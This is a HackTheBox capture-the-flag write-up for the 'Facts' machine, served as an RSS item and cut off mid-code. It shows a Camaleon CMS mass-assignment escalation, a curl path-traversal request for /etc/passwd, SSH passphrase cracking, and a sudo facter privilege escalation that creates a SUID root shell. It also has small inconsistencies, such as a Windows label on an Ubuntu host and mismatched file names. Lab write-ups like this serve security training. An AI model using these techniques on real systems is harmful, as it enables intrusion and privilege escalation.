<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Cve-2024-46987 on</title><link>https://h4r1337.github.io/tags/cve-2024-46987/</link><description>Recent content in Cve-2024-46987 on</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Sun, 07 Jun 2026 10:55:38 +0530</lastBuildDate><atom:link href="https://h4r1337.github.io/tags/cve-2024-46987/index.xml" rel="self" type="application/rss+xml"/><item><title>Facts | HackTheBox</title><link>https://h4r1337.github.io/posts/facts/</link><pubDate>Sun, 07 Jun 2026 10:55:38 +0530</pubDate><guid>https://h4r1337.github.io/posts/facts/</guid><description>&lt;h3 id="overview">Overview&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/cover.webp">&lt;/figure>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">Title&lt;/th>
&lt;th style="text-align: center">&lt;a href="https://app.hackthebox.com/machines/Facts">Facts&lt;/a>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">Difficulty&lt;/td>
&lt;td style="text-align: center">Easy&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Machine&lt;/td>
&lt;td style="text-align: center">Windows&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Maker&lt;/td>
&lt;td style="text-align: center">&lt;a href="https://app.hackthebox.com/users/512308">&lt;img src="https://www.hackthebox.com/badge/image/512308" alt="" style="display: unset">&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;br>
&lt;div class="alert alert-tip collapsed">
&lt;div class="alert-heading-box" onclick="toggleAlert(this)" >
&lt;i class="bx bx-bulb">&lt;/i>
&lt;p class="alert-heading">
About Facts
&lt;/p>
&lt;i class='bx bx-chevron-down collapsed'>&lt;/i>
&lt;/div>
&lt;div class="alert-content" style="display: none;" >
&lt;p>Facts is an easy machine where we exploit a mass assignment vulnerability to get admin access on an open source CMS written in rails. We will get &lt;code>SSH&lt;/code> key of a user from an AWS S3 bucket using credentials, exposed in the admin panel. From there to root is fairly straight forward by exploiting a SUID binary, &lt;a href="https://github.com/puppetlabs/facter">&lt;code>facter&lt;/code> (a tool used in Puppet)&lt;/a>, to load malicious script.&lt;/p></description><content>&lt;h3 id="overview">Overview&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/cover.webp">&lt;/figure>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">Title&lt;/th>
&lt;th style="text-align: center">&lt;a href="https://app.hackthebox.com/machines/Facts">Facts&lt;/a>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">Difficulty&lt;/td>
&lt;td style="text-align: center">Easy&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Machine&lt;/td>
&lt;td style="text-align: center">Windows&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align: center">Maker&lt;/td>
&lt;td style="text-align: center">&lt;a href="https://app.hackthebox.com/users/512308">&lt;img src="https://www.hackthebox.com/badge/image/512308" alt="" style="display: unset">&lt;/a>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;br>
&lt;div class="alert alert-tip collapsed">
&lt;div class="alert-heading-box" onclick="toggleAlert(this)" >
&lt;i class="bx bx-bulb">&lt;/i>
&lt;p class="alert-heading">
About Facts
&lt;/p>
&lt;i class='bx bx-chevron-down collapsed'>&lt;/i>
&lt;/div>
&lt;div class="alert-content" style="display: none;" >
&lt;p>Facts is an easy machine where we exploit a mass assignment vulnerability to get admin access on an open source CMS written in rails. We will get &lt;code>SSH&lt;/code> key of a user from an AWS S3 bucket using credentials, exposed in the admin panel. From there to root is fairly straight forward by exploiting a SUID binary, &lt;a href="https://github.com/puppetlabs/facter">&lt;code>facter&lt;/code> (a tool used in Puppet)&lt;/a>, to load malicious script.&lt;/p>
&lt;/div>
&lt;/div>
&lt;script>
function toggleAlert(headerElement) {
var alertBox = headerElement.parentElement;
var alertContent = alertBox.querySelector('.alert-content');
var icon = headerElement.querySelectorAll('i')[1];
alertBox.classList.toggle('open');
alertBox.classList.toggle('collapsed');
if (alertBox.classList.contains('open')) {
alertContent.style.display = 'block';
icon.classList.remove('open');
icon.classList.add('collapsed');
} else {
icon.classList.remove('collapsed');
icon.classList.add('open');
alertContent.style.display = 'none';
}
}
&lt;/script>
&lt;hr>
&lt;h2 id="information-gathering">Information Gathering&lt;/h2>
&lt;p>Scanned all TCP ports:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nmap -p- --min-rate &lt;span style="color:#d3869b">5000&lt;/span> -vv $IP -oA recon/nmap/ports
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>Nmap scan report &lt;span style="color:#fe8019">for&lt;/span> 10.129.245.101
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host is up, received conn-refused &lt;span style="color:#fe8019">(&lt;/span>0.31s latency&lt;span style="color:#fe8019">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Scanned at 2026-02-07 13:57:56 IST &lt;span style="color:#fe8019">for&lt;/span> 125s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Not shown: &lt;span style="color:#d3869b">46693&lt;/span> closed tcp ports &lt;span style="color:#fe8019">(&lt;/span>conn-refused&lt;span style="color:#fe8019">)&lt;/span>, &lt;span style="color:#d3869b">18839&lt;/span> filtered tcp ports &lt;span style="color:#fe8019">(&lt;/span>no-response&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PORT STATE SERVICE REASON
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>22/tcp open ssh syn-ack
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>80/tcp open http syn-ack
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>54321/tcp open unknown syn-ack
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Enumerated open TCP ports:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nmap -p22,80,54321 -sC -sV --min-rate &lt;span style="color:#d3869b">5000&lt;/span> $IP -oA recon/nmap/services
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>Nmap scan report &lt;span style="color:#fe8019">for&lt;/span> facts.htb &lt;span style="color:#fe8019">(&lt;/span>10.129.245.101&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host is up &lt;span style="color:#fe8019">(&lt;/span>0.31s latency&lt;span style="color:#fe8019">)&lt;/span>.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PORT STATE SERVICE VERSION
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 &lt;span style="color:#fe8019">(&lt;/span>Ubuntu Linux; protocol 2.0&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| ssh-hostkey:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &lt;span style="color:#d3869b">256&lt;/span> 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 &lt;span style="color:#fe8019">(&lt;/span>ECDSA&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ &lt;span style="color:#d3869b">256&lt;/span> a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 &lt;span style="color:#fe8019">(&lt;/span>ED25519&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>80/tcp open http nginx 1.26.3 &lt;span style="color:#fe8019">(&lt;/span>Ubuntu&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-server-header: nginx/1.26.3 &lt;span style="color:#fe8019">(&lt;/span>Ubuntu&lt;span style="color:#fe8019">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-title: facts
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>54321/tcp open http Golang net/http server
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-title: Did not follow redirect to http://facts.htb:9001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| fingerprint-strings:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| FourOhFourRequest:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| HTTP/1.0 &lt;span style="color:#d3869b">400&lt;/span> Bad Request
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Accept-Ranges: bytes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Content-Length: &lt;span style="color:#d3869b">303&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Content-Type: application/xml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Server: MinIO
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Strict-Transport-Security: max-age&lt;span style="color:#fe8019">=&lt;/span>31536000; includeSubDomains
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Vary: Origin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| X-Amz-Request-Id: 1891E9EAF736568A
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| X-Content-Type-Options: nosniff
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| X-Xss-Protection: 1; mode&lt;span style="color:#fe8019">=&lt;/span>block
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Date: Sat, &lt;span style="color:#d3869b">07&lt;/span> Feb &lt;span style="color:#d3869b">2026&lt;/span> 08:35:23 GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &amp;lt;?xml version&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;1.0&amp;#34;&lt;/span> encoding&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;UTF-8&amp;#34;&lt;/span>?&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &amp;lt;Error&amp;gt;&amp;lt;Code&amp;gt;InvalidRequest&amp;lt;/Code&amp;gt;&amp;lt;Message&amp;gt;Invalid Request &lt;span style="color:#fe8019">(&lt;/span>invalid argument&lt;span style="color:#fe8019">)&lt;/span>&amp;lt;/Message&amp;gt;&amp;lt;Resource&amp;gt;/nice ports,/Trinity.txt.bak&amp;lt;/Resource&amp;gt;&amp;lt;RequestId&amp;gt;1891E9EAF736568A&amp;lt;/RequestId&amp;gt;&amp;lt;HostId&amp;gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8&amp;lt;/HostId&amp;gt;&amp;lt;/Error&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| GenericLines, Help, RTSPRequest, SSLSessionReq:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| HTTP/1.1 &lt;span style="color:#d3869b">400&lt;/span> Bad Request
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Content-Type: text/plain; charset&lt;span style="color:#fe8019">=&lt;/span>utf-8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Connection: close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Request
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| GetRequest:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| HTTP/1.0 &lt;span style="color:#d3869b">400&lt;/span> Bad Request
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Accept-Ranges: bytes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Content-Length: &lt;span style="color:#d3869b">276&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Content-Type: application/xml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Server: MinIO
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Strict-Transport-Security: max-age&lt;span style="color:#fe8019">=&lt;/span>31536000; includeSubDomains
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Vary: Origin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| X-Amz-Request-Id: 1891E9E626F16AE7
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| X-Content-Type-Options: nosniff
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| X-Xss-Protection: 1; mode&lt;span style="color:#fe8019">=&lt;/span>block
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Date: Sat, &lt;span style="color:#d3869b">07&lt;/span> Feb &lt;span style="color:#d3869b">2026&lt;/span> 08:35:03 GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &amp;lt;?xml version&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;1.0&amp;#34;&lt;/span> encoding&lt;span style="color:#fe8019">=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;UTF-8&amp;#34;&lt;/span>?&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| &amp;lt;Error&amp;gt;&amp;lt;Code&amp;gt;InvalidRequest&amp;lt;/Code&amp;gt;&amp;lt;Message&amp;gt;Invalid Request &lt;span style="color:#fe8019">(&lt;/span>invalid argument&lt;span style="color:#fe8019">)&lt;/span>&amp;lt;/Message&amp;gt;&amp;lt;Resource&amp;gt;/&amp;lt;/Resource&amp;gt;&amp;lt;RequestId&amp;gt;1891E9E626F16AE7&amp;lt;/RequestId&amp;gt;&amp;lt;HostId&amp;gt;dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8&amp;lt;/HostId&amp;gt;&amp;lt;/Error&amp;gt;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| HTTPOptions:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| HTTP/1.0 &lt;span style="color:#d3869b">200&lt;/span> OK
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Vary: Origin
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>| Date: Sat, &lt;span style="color:#d3869b">07&lt;/span> Feb &lt;span style="color:#d3869b">2026&lt;/span> 08:35:03 GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_ Content-Length: &lt;span style="color:#d3869b">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>|_http-server-header: MinIO
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h2 id="enumeration">Enumeration&lt;/h2>
&lt;h3 id="port-80---http-nginx">Port 80 - HTTP (Nginx)&lt;/h3>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207140102.webp">&lt;/figure>
&lt;p>&lt;strong>/admin&lt;/strong>&lt;/p>
&lt;p>Account registration is enabled.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207142203.webp">&lt;/figure>
&lt;p>This is Camaleon CMS, Version - 2.9.0&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207142327.webp">&lt;/figure>
&lt;p>But right now, our role is &lt;code>client&lt;/code>.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207145319.webp">&lt;/figure>
&lt;p>This version of Camaleon CMS is vulnerable to privilege escalation via &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2025-2304">CVE-2025-2304&lt;/a>
Found an &lt;a href="https://github.com/Alien0ne/CVE-2025-2304">exploit&lt;/a>&lt;/p>
&lt;h3 id="admin-privilege-escalation">Admin Privilege Escalation&lt;/h3>
&lt;p>This CVE is about a mass assignment vulnerability in the ruby source code. This is the controller code that is responsible for this vulnerability:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">def&lt;/span> &lt;span style="color:#fabd2f">updated_ajax&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> @user &lt;span style="color:#fe8019">=&lt;/span> current_site&lt;span style="color:#fe8019">.&lt;/span>users&lt;span style="color:#fe8019">.&lt;/span>find(params&lt;span style="color:#fe8019">[&lt;/span>&lt;span style="color:#83a598">:user_id&lt;/span>&lt;span style="color:#fe8019">]&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> update_session &lt;span style="color:#fe8019">=&lt;/span> current_user_is?(@user)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> @user&lt;span style="color:#fe8019">.&lt;/span>update(params&lt;span style="color:#fe8019">.&lt;/span>require(&lt;span style="color:#83a598">:password&lt;/span>)&lt;span style="color:#fe8019">.&lt;/span>permit!)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> render &lt;span style="color:#83a598">inline&lt;/span>: @user&lt;span style="color:#fe8019">.&lt;/span>errors&lt;span style="color:#fe8019">.&lt;/span>full_messages&lt;span style="color:#fe8019">.&lt;/span>join(&lt;span style="color:#b8bb26">&amp;#39;, &amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#928374;font-style:italic"># keep user logged in when changing their own password&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> update_auth_token_in_cookie @user&lt;span style="color:#fe8019">.&lt;/span>auth_token &lt;span style="color:#fe8019">if&lt;/span> update_session &lt;span style="color:#fe8019">&amp;amp;&amp;amp;&lt;/span> @user&lt;span style="color:#fe8019">.&lt;/span>saved_change_to_password_digest?
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Since Rails 4, mass assignment is protected by default and you must explicitly define which parameters are allowed. But by using &lt;code>.permit!&lt;/code> you allow any incoming data for the user object.&lt;/p>
&lt;p>To exploit this we have to capture the change password request and add &lt;code>password[role]=admin&lt;/code> to the HTTP body.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207150610.webp">&lt;/figure>
&lt;h3 id="s3-bucket">S3 bucket&lt;/h3>
&lt;p>Found aws credentials inside admin panel.&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207154223.webp">&lt;/figure>
&lt;p>Add the credentials using &lt;code>aws configure&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>aws s3 ls --endpoint http://facts.htb:54321
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-fallback" data-lang="fallback">&lt;span style="display:flex;">&lt;span>2025-09-11 17:36:52 internal
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>2025-09-11 17:36:52 randomfacts
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207154358.webp">&lt;/figure>
&lt;p>Found ssh key inside the bucket &lt;code>internal&lt;/code>&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207154455.webp">&lt;/figure>
&lt;hr>
&lt;h2 id="exploitation">Exploitation&lt;/h2>
&lt;h3 id="cracking-ssh-key-passphrase">Cracking SSH key passphrase&lt;/h3>
&lt;p>If we &lt;code>cat&lt;/code> the SSH key, we can see that no username is specified. We can use &lt;code>ssh-keygen&lt;/code> with the &lt;code>-y&lt;/code> flag to export the public key and determine the associated username.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>ssh-keygen -yf id_ed25519
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/ssh-keygen-passphrase.webp">&lt;/figure>
&lt;p>Use &lt;code>ssh2john&lt;/code> to convert the ssh key into hash that can be cracked with &lt;code>john&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>ssh2john id_ed25519 &amp;gt; ssh.key
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now use john to crack the passphrase.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>john key.ssh --wordlist&lt;span style="color:#fe8019">=&lt;/span>/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207171843.webp">&lt;/figure>
&lt;p>The username can be found using this passphrase.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>ssh-keysign -p -f id_ed25519
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207172048.webp">&lt;/figure>
&lt;p>And we can now use these information to ssh into the system&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207172206.webp">&lt;/figure>
&lt;p>&lt;code>user.txt&lt;/code> can be found inside user william&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207172337.webp">&lt;/figure>
&lt;h3 id="initial-access-unintended-method">Initial Access (Unintended method)&lt;/h3>
&lt;p>There&amp;rsquo;s another way to get the username and ssh key from the machine by exploiting another CVE (which was supposedly patched in Camaleon CMS &amp;gt;= 2.8.1, but was still working in 2.9.0). With this exploit we can skip the entire AWS S3 path, and ssh directly into the trivia user.&lt;/p>
&lt;p>The vulnerability is a path traversal in &lt;code>/admin/media/download_private_file&lt;/code> tracked as &lt;a href="https://rubysec.com/advisories/CVE-2024-46987/">CVE-2024-46987&lt;/a>. With this attacker can enter arbitrary path in the &lt;code>file&lt;/code> parameter and download that file.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>curl -ik http://facts.htb/admin/media/download_private_file?file&lt;span style="color:#fe8019">=&lt;/span>../../../../../../etc/passwd
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr>
&lt;h2 id="privilege-escalation">Privilege Escalation&lt;/h2>
&lt;h3 id="local-enumeration">Local Enumeration&lt;/h3>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>sudo -l
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207200224.webp">&lt;/figure>
&lt;blockquote>
&lt;p>The &lt;code>facter&lt;/code> command-line interface (CLI) is a tool for &lt;strong>gathering and displaying facts&lt;/strong> (system information) about a node (system). These facts, such as hardware details, network settings, and operating system information, are then used by the Puppet automation tool for conditional expressions in its manifests.&lt;/p>
&lt;/blockquote>
&lt;p>So basically facter is a cli tool that can be used to gather system information. It executes something called a fact, which is in fact just a ruby script, to get these informations. If we check the man page we can see that by using &lt;code>--custom-dir&lt;/code> flag we can specify the location for a custom fact, this can be used to make the root user execute ruby scripts we create. Another way is to create an external fact, which can just a shell script. We can then use &lt;code>--external-dir&lt;/code> to point to the directory where we put the shell script.&lt;/p>
&lt;h3 id="privilege-escalation-1">Privilege Escalation&lt;/h3>
&lt;p>Since writing a shell script is easier, we will just use create an external fact.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8ec07c">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#8ec07c">&lt;/span>cp /bin/bash /home/trivia/rootbash
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>chmod +s /home/trivia/rootbash
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Create a facts directory and put this script inside it. Then we can use facter to execute the script.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>sudo facter --external-dir . suid_gen
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And we are root!&lt;/p>
&lt;figure>
&lt;img src="https://h4r1337.github.io/img/facts/Pasted%20image%2020260207202847.webp">&lt;/figure>
&lt;p>We could have also used a ruby script to create a custom fact and execute that insted:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-ruby" data-lang="ruby">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#d3869b">Facter&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>add(&lt;span style="color:#83a598">:read_flag&lt;/span>) &lt;span style="color:#fe8019">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> confine &lt;span style="color:#83a598">kernel&lt;/span>: &lt;span style="color:#b8bb26">&amp;#39;Linux&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> setcode &lt;span style="color:#fe8019">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> path &lt;span style="color:#fe8019">=&lt;/span> &lt;span style="color:#b8bb26">&amp;#39;/root/root.txt&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#d3869b">File&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>file?(path) &lt;span style="color:#fe8019">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#d3869b">File&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>readable?(path)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d3869b">File&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>read(path)
